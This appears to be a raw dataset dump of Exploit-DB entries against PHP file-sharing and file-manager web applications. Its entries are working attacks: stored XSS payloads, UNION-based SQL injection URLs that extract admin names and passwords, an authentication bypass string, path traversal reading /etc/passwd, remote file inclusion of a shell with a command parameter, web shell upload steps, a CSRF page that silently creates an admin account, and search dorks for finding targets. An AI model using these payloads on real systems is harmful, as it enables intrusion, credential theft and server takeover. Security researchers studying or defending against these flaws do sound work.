deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48635
Description: File Management System 1.1 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-07-06
Author: KeopssGroup0day_Inc

Exploit:
# Exploit Title: File Management System 1.1 - Persistent Cross-Site Scripting
# Date: 2020-06-30
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage:  https://www.sourcecodester.com/download-code?nid=13333&title=File+Management+System+Very+Complete+Using+PHP%2FMySQLi+version+1.1
# Software Link:  https://www.sourcecodester.com/download-code?nid=13333&title=File+Management+System+Very+Complete+Using+PHP%2FMySQLi+version+1.1
# Version: 0.1.0
# Tested on: Kali Linux

Source code(view_admin.php.php):
<?php
require_once("include/connection.php");
$query="SELECT * FROM admin_login";
$result=mysqli_query($conn,$query);
while($rs=mysqli_fetch_array($result)){
$id =  $rs['id'];
$fname=$rs['name'];
$admin=$rs['admin_user'];
$pass=$rs['admin_password'];
$status=$rs['admin_status'];
?>
<tr>
  <td width='10%'><?php echo $fname; ?></td>
  <td align='center'><?php echo $admin; ?></td>
  <td align='center' width="20%"><?php echo $pass; ?></td>
  <td align='center'><?php echo $status; ?></td>
  <td align='center'><a href="#modalRegisterFormsss?id=<?php echo 
$id;?>">
  <i class="fas fa-user-edit" data-toggle="modal" 
data-target="#modalRegisterFormsss"></i> </a> | <a 
href="delete_admin.php?id=<?php echo htmlentities($rs['id']); ?>"><i 
class='far fa-trash-alt'></i></a></td>
</tr>
<?php  } ?>

POC:

1. http://192.168.1.58/Private_Dashboard/view_admin.php

2. Add admin click button

3. We write payload in the name section (<script>alert(1);</script>)

4. And view admin click button

5. And our bad payload will be displayed
Exploit-DB #38363
Description: File Manager - HTML Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2013-02-23
Author: Benjamin Kunz Mejri

Exploit:
source: https://www.securityfocus.com/bid/58313/info

File Manager is prone to an HTML-injection vulnerability and a local file-include vulnerability.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, steal cookie-based authentication credentials and open or run arbitrary files in the context of the web server process. Other attacks are also possible.

File Manager 1.2 is vulnerable; other versions may also be affected. 

Local file-include:


<div id="bodyspace"><div id="main_menu"><h1>File Manager</h1></div><div id="main_left">
<img src="http://www.example.com/images/wifilogo2.png" alt="" title="" border="0"><ul class="menu"><li class="item-101 current active">
<a href="http://www.example.com/" target="_blank">Hilfe</a></li><li class="item-110">
<a href="http://www.example.com/index.php/feedback-support" target="_blank">Kontakt / Feedback</a></li></ul></div>
<div id="module_main"><bq>Files</bq><p><a href="..">..</a><br>
<a href="1234.png.txt.iso.php.asp">1234.png.txt.iso.php.asp</a>    (    95.8 Kb, 2013-02-11 07:41:12 +0000)<br>
<a href="[../../>[UNAUTHORIZED LOCAL FILE/PATH INCLUDE VULNERABILITY]]">[../../>[UNAUTHORIZED LOCAL FILE/PATH INCLUDE VULNERABILITY]]</a>
(    27.3 Kb, 2013-02-11 07:45:01 +0000)<br />
<a href="About/">About/</a>    (     0.1 Kb, 2012-10-10 18:20:14 +0000)<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file
<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" />
</label></form></div></center></body></html></iframe></a></p></div></div>

HTML-injection :

<div id="bodyspace"><div id="main_menu"><h1>File Manager</h1></div><div id="main_left">
<img src="http://www.example.com/images/wifilogo2.png" alt="" title="" border="0"><ul class="menu"><li class="item-101 current active">
<a href="http://www.example.com/" target="_blank">Hilfe</a></li><li class="item-110">
<a href="http://www.example.com/index.php/feedback-support" target="_blank">Kontakt / Feedback</a></li></ul></div>
<div id="module_main"><bq>Files</bq><p><a href="..">..</a><br>
<a href="[PERSISTENT INJECTED SCRIPT CODE!].png.txt.iso.php.asp">[PERSISTENT INJECTED SCRIPT CODE!].png.txt.iso.php.asp</a>
(    95.8 Kb, 2013-02-11 07:41:12 +0000)<br>
<a href="[PERSISTENT INJECTED SCRIPT CODE!]">[PERSISTENT INJECTED SCRIPT CODE!]</a>
(    27.3 Kb, 2013-02-11 07:45:01 +0000)<br />
<a href="About/">About/</a>    (     0.1 Kb, 2012-10-10 18:20:14 +0000)<br />
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>upload file
<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" />
</label></form></div></center></body></html></iframe></a></p></div></div>
Exploit-DB #10497
Description: File Share 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-16
Author: TOP SAT 13

Exploit:
##########################- Alg3r!eN H4xoRz -######################

[-]            FILE SHARE V 1.0  SQL Injection Vulnerability
[-] Author    : TOP SAT 13
[-] MAIL      : topsat13@live.fr<mailto:topsat13@live.fr>  'Or'   Dz8@live.com<mailto:Dz8@live.com>

############################################################/

[ Software Information ]

[/] Vendor : http://www.script-ati.com
[/] script   : FILE SHARE V 1.0
[/] Download : http://www.script-ati.com<http://www.script-ati.com/>
[/] Vulnerability : php SQL injection
[/] Dork :inurl:"inurl:file.php?recordID="
                       "FILE SHARE V 1.0"

############################################################/
[ Vulnerable File ]

http://server/path/file.php?recordID=[ t o p S q l ]

[ Exploit ]

http://server/path/file.php?recordID=xx+union+select+1,group_concat(id,0x3a3a,nom,0x3a3a,pass),3,4,5,6,7,8,9,10+from+mombre--

[  Gr44ts ]

[~]: cRuT$Y - DeR_KOniG - Hunter Hacker - DOWNWOW - Dr.orYX - Cr3w-Dz - PMXs  & All My Muslims Hackerz :[~]
Exploit-DB #12763
Description: File Share scriptFile share - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-27
Author: MouDy-Dz

Exploit:
# ----------------------oOO---(_)---OOo-----------------------
# | __ __ |
# | _____/ /_____ ______/ /_ __ ______ ______ |
# | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ |
# | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) |
# | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ |
# |MouDy-Dz /____/ 2o1o |
# ------------------------------------------------------------
Upload Shell
# ------------------------------------------------------------
--------------------------------------------------------------
File Share <== all version (download.php?downID=)
arabic Script
--------------------------------------------------------------
#[+] Author : MouDy-Dz #
# [+] Email : MouDy-Dz@HoTMaiL.coM #
# [+] 27-5-2010 #
# [+] Cobra Team #
# [+] Script : Upload »File share#
# All Version #

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=

Exploit : scriptFile share\download.php?downID=

http://localhost/scriptFile share\download.php?downID=[Sql Inject]

http://127.0.0.1/scriptFile share\download.php?downID=[Sql Inject]


[Sql Inject] = -4+union+select+1,concat%28id,0x3a,nom,0x3a,pass%29,3,4,5,6,7,8,9,10+from+mombre

Exemple = http://localhost/scriptFile share\download.php?downID=-4+union+select+1,concat%28id,0x3a,nom,0x3a,pass%29,3,4,5,6,7,8,9,10+from+mombre

you can use another Number in (-4) *_^

After
http://localhost/scriptFile share\download.php?downID=-4+union+select+1,concat%28id,0x3a,nom,0x3a,pass%29,3,4,5,6,7,8,9,10+from+mombre

You show The Admin and The password

Login =====> admincp/login.php

exemple = http://localhost/scriptFile share\admincp/login.php

after login add .php

and go to home of script and upload your shell

web site Favorites my Of Exploit ^_^ : JusT=====> http://www.exploit-db.com

================== Greetz : all my friend ===================
* Sn!per-dz * * &#1576;&#1581;&#1585;&&#1575;&#1604;&#1581;&#1576; * KONDAMNE * AntiSystem * Antitracker |
&#1608; &#1575;&#1604;&#1609; &#1580;&#1605;&#1610;&#1593; &#1575;&#1593;&#1590;&#1575;&#1569; &#1601;&#1585;&#1610;&#1602; &#1603;&#1608;&#1576;&#1585;&#1575;
================== Greetz : My Best Forum ===================
* www.3asfh.com / www.Dev-point.com /www.h4ckforu.com /www.sa3eka.com
Exploit-DB #12617
Description: File Thingie 2.5.5 - File Security Bypass
Type: webapps
Platform: php
Date: 2010-05-16
Author: Jeremiah Talamantes

Exploit:
Title: File Thingie v2.5.5 File Security Bypass
Author: Jeremiah Talamantes (RedTeam Security)
Website: http://www.redteamsecure.com/labs
Date: 5/15/2010

Application: File Thingie
Version: 2.5.5
Link: http://www.solitude.dk/filethingie/download  

Description:
There are security controls in place that attempt to prevent
users from uploading PHP files and also renaming them to PHP extensions. However
advanced security controls do not exist that would prevent a user from uploading
a text file containing PHP code. An attacker can exploit a weakness in the file
rename process allowing the attacker to rename a text file (containing code) to a 
.php extension and execute the script. 

This exploit demonstrates a way to backdoor File Thingie by uploading an *.inc file
that contains a backdoored copy of File Thingie, then uploading a *.txt file 
containing some PHP code that will overwrite ft2.php to execute the backdoored
copy of File Thingie. But first the *.txt file has to be renamed to a *.php
and then executed in the browser.

Test Environment:
* Tested on WAMP Server 2.0
* WAMP running on Windows XP, SP2 (EN)

====================================================================
Download the following file for more instructions and exploits:
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/12617.zip (file_thingie_v255_Jeremiah.zip)
====================================================================
Exploit-DB #10689
Description: file upload Ar Version - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : file upload Ar Version Upload Shell Vulnerability                       |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : ÔÈßÉ ÔæÇØÆ ÇáÚÑÈ 2005 - 2006 file upload (http://ab4u.net/)             |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/D8/upload/index.php
| 2- http://server/D8/ab4u/images/c.php
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #11450
Description: File Upload Manager 1.3 - Web Shell File Upload
Type: webapps
Platform: php
Date: 2010-02-14
Author: ROOT_EGY

Exploit:
# Version: v1.3

============================================================
www.sec-war.com
============================================================


1- upload shell with:

shell.php.jpg
shell.php.gif
shell.php.htm
shell.htm
shell.php.jpeg
shell.php.bmp

2- Go to shell link :

Example : http://www.site.com/path/store/shell.php.gif


==========================================================
To connect : r0t@hotmail.es
==========================================================

Greetz To : Alnjm33 - ShoOt3r - red virus - pRedAtOr - Elkatrez Elmodamer - Egy-sn!p3r

==========================================================
Exploit-DB #30467
Description: File Uploader 1.1 - 'datei.php?config[root_ordner]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-09
Author: Rizgar

Exploit:
source: https://www.securityfocus.com/bid/25253/info
 
File Uploader is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
File Uploader 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/datei.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id
Exploit-DB #30466
Description: File Uploader 1.1 - 'index.php?config[root_ordner]' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-09
Author: Rizgar

Exploit:
source: https://www.securityfocus.com/bid/25253/info

File Uploader is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

File Uploader 1.1 is vulnerable; other versions may also be affected. 


http://www.example.com/index.php?config[root_ordner]=http://www.example2.com/shell.txt?&cmd=id
Exploit-DB #29880
Description: File117 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-04-23
Author: InyeXion

Exploit:
source: https://www.securityfocus.com/bid/23600/info

File117 is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/html/php/detail.php?relPath=[shell]?
http://www.example.com/html/php/detail.php?folder=[shell]?
Exploit-DB #17753
Description: FileBox File Hosting & Sharing Script 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-30
Author: SubhashDasyam

Exploit:
# Exploit Title: FileBox - File Hosting & Sharing Script 1.5 SQL Injection
# Google Dork: inurl:FileBox
# Date: 30/08/2011
# Author: Scripts Apart
# Software Link: http://www.scriptsapart.com
# Version: 1.5
# Tested on: Windows 7 , Ubuntu 11
# CVE :
# Exploit Discovered : SubhashDasyam
# Website : http://www.subhashdasyam.com

There is a SQL Vulnerability in the FileBox Script

http://localhost/download.php?id=%20and(select%201%20from(select%20count(*),concat((select%20(select%200x53514c[PII_REDACTED]6c61626c[PII_REDACTED][PII_REDACTED][PII_REDACTED]79616d)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20`information_schema`.tables%20group%20by%20x)a)%20and%201=1

The sqli is MYSQL_Error based one
Exploit-DB #50774
Description: FileCloud 21.2 - Cross-Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2022-02-21
Author: Masashi Fujiwara

Exploit:
# Exploit Title: FileCloud 21.2 - Cross-Site Request Forgery (CSRF)
# Date: 2022-02-20
# Exploit Author: Masashi Fujiwara
# Vendor Homepage: https://www.filecloud.com/
# Software Link: https://hub.docker.com/r/filecloud/filecloudserver21.2
# Version: All versions of FileCloud prior to 21.3 (Fiexd: version 21.3.0.18447)
# Tested on:
#  OS: Ubuntu 18.04.6 LTS (Docker)
#  Apache: 2.4.52
#  FileCloud: 21.2.4.17315
# CVE: CVE-2022-25241 (https://www.filecloud.com/supportdocs/fcdoc/latest/server/security-advisories/advisory-2022-01-3-threat-of-csrf-via-user-creation)

# Conditions
1. Only vulnerable if cookies have samesite set to None (SameSite=None).
   echo 'define("TONIDOCLOUD_COOKIE_SAME_SITE_TYPE", "None");' >> /var/www/html/config/cloudconfig.php
2. Use https as target url (When cookies set SameSite=None, also set Secure).

# PoC (HTML)
<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">

<script>
function init(){
  myFormData = new FormData();
  let fileContent = new Blob(["UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified\nhacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES\n"], {type: 'application/vnd.ms-excel'});
  myFormData.append("uploadFormElement", fileContent, "user.csv");
  fetch("https://192.168.159.129:8443/admin/?op=import&sendapprovalemail=0&sendpwdasplaintext=0", { method: "post", body: myFormData, credentials: "include"});
}
</script>
</head>
<body onload="init()">
CSRF PoC for CVE-2022-25241

Creat hacker user with Password1 via CSV file upload.
</body>
</html>



# HTTPS Request
POST /admin/?op=import&sendapprovalemail=0&sendpwdasplaintext=0 HTTP/1.1
Host: 192.168.159.129:8443
Cookie: X-XSRF-TOKEN-admin=rhedxvo0gullbvzkgwwv; X-XSRF-TOKEN=rhedxvo0gullbvzkgwwv; tonidocloud-au=admin; tonidocloud-as=29352577-cfaa-42e6-80e5-7a304bc78333; tonidocloud-ah=4514fb08f852d2682151efdb938d377734b1e493
Content-Length: 365
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiAXsUsJ2ZV54DFuW
Connection: close

------WebKitFormBoundaryiAXsUsJ2ZV54DFuW
Content-Disposition: form-data; name="uploadFormElement"; filename="user.csv"
Content-Type: application/vnd.ms-excel

UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified
hacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES

------WebKitFormBoundaryiAXsUsJ2ZV54DFuW--



# CSV file format
UserName,EmailID,Password,DisplayName,Status,ExpirationDate,Groups,EmailVerified
hacker,hacker@hacker.com,Password1,hacker,FULL,02/26/2222,Group1,YES
Exploit-DB #37939
Description: FileContral - Local File Inclusion / Local File Disclosure
Type: webapps
Platform: php
Date: 2012-08-11
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/55891/info

FileContral is prone to a local file-include and a local file-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to view and execute local files within the context of the webserver process, obtaining potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

FileContral 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/Administrator/filemanager/filemanager.php?downfile=../../../../../etc/passwd
http://www.example.com/Administrator/filemanager/filemanager.php?downfile=../../../../../../etc/passwd
http://www.example.com/Administrator/filemanager/filemanager.php?downfile=server dir/public_html/lists/config/config.php
Exploit-DB #10845
Description: fileNice PHP file browser - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-31
Author: e.wiZz

Exploit:
FileNice file browser RFI&LFI


By: e.wiZz!

#######Script site: http://filenice.com




In the wild...

###################################

######Vulnerability:


index.php

...
if(isset($_GET['view'])){
	if(substr($_GET['view'],0,2) != ".." && substr($_GET['view'],0,1) != "/" && $_GET['view'] != "./" && !stristr($_GET['view'], '../')){
		$out = new FNOutput;
		$out->viewFile($_GET['view']);
	}else{
		// someone is poking around where they shouldn't be
		echo("Don't hack my shit yo.");
		exit;	
	}
}else if(isset($_GET['src'])){
	if(substr($_GET['src'],0,2) != ".." && substr($_GET['src'],0,1) != "/" && $_GET['src'] != "./" && !stristr($_GET['src'], '../')){
		$out = new FNOutput;
		$out->showSource($_GET['src']);
	}else{
		// someone is poking around where they shouldn't be
		echo("Don't hack my shit yo.");
		exit;	
	}

...

here is some security check for dir-traversal(can be bypassed),but there is no check for RFI,
also you can see source of any file which is in parent directory:

http://inthewild/path/index.php?src=[lfi]   // index.php or whatever
http://inthewild/path/index.php?src=[remote shell]

btw. there is lot of other vulnerabilities...happy huntin' :)
Exploit-DB #41092
Description: Fileserve Clone Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Fileserve Clone Script
# Script Buy Now: http://www.scriptgiant.com/software/32/fileserve-script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection There are security vulnerabilities.
# # # # #
Exploit-DB #17955
Description: Filmis 0.2 Beta - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-10-10
Author: M.Jock3R

Exploit:
===================================================================================

 Filmis - Version 0.2 Beta SQL Injection and XSS Vulnerabilities

===================================================================================

# Exploit Title: Filmis - Version 0.2 Beta SQL Injection and XSS Vulnerabilities

# Author: M.Jock3R 

# USE MY ONLINE SQLI SCAN TOOL[CODED By ME] : http://dzcode.tk/sql.php (To discover that such exploit) 

# Download Script(Official site): http://mohshow.fr.cr/forum/downloads/filmis-0.2beta.zip

# Category:: webapps

# Tested on: windows XP Sp2 FR

  

===================================================================================

 

Vuln file : cat.php

  

Vuln Code :

---------- 

$idcat = $_GET['id'];

$nbitemparpage= "28";

if(@$_GET['nb']=="") { $nb = "1"; } else { $nb = $_GET['nb']; }

$nbd = ceil(($nb -1) * $nbitemparpage);

$amem = mysql_query("SELECT * FROM ".$prefix."film");

         

Exploit:

---------

1/SQL INJECTION :

http://localhost/filmis/cat.php?nb=-1'



2/XSS :

http://localhost/filmis/cat.php?nb=1><script>alert(document.cookie)</script>

 

===================================================================================

Greets To :

adelsbm / attiadona  / Wprojects.tk



Email : madrido.jocker@gmail.com

  

THANKS TO ALL ALGERIANS HACK3RS

===================================================================================